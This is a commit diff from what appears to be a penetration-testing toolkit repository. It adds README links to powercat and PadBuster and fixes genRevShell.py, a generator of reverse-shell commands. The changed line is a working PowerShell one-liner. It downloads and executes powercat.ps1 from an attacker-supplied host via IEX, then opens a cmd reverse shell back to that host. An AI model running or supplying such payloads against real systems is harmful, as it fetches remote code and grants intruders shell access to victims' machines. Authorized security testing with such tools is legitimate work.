Browse Source

powershell fixes

Roman Hergenreder 4 years ago
parent
commit
5a41f44b72
2 changed files with 3 additions and 1 deletions
  1. 2 0
      README.md
  2. 1 1
      genRevShell.py

+ 2 - 0
README.md

@@ -21,6 +21,8 @@ This repository contains self-made and common scripts for information gathering,
 - genRevShell.py: Generates a reverse shell command (e.g. netcat, python, ...)
 - [php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell)
 - [p0wny-shell.php](https://github.com/flozz/p0wny-shell)
+- [powercat.ps1][https://github.com/besimorhino/powercat]
 
 ### Miscellaneous
 - upload_file.py: Starts a local tcp server, for netcat usage
+- [padBuster.pl](https://github.com/AonCyberLabs/PadBuster)

+ 1 - 1
genRevShell.py

@@ -34,7 +34,7 @@ def generatePayload(type, local_address, port):
     elif type == "xterm":
         return "xterm -display %s:1" % (local_address)
     elif type == "powercat" or type == "powershell":
-        return "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\")" % (local_address, local_address, port)
+        return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
 
 if __name__ == "__main__":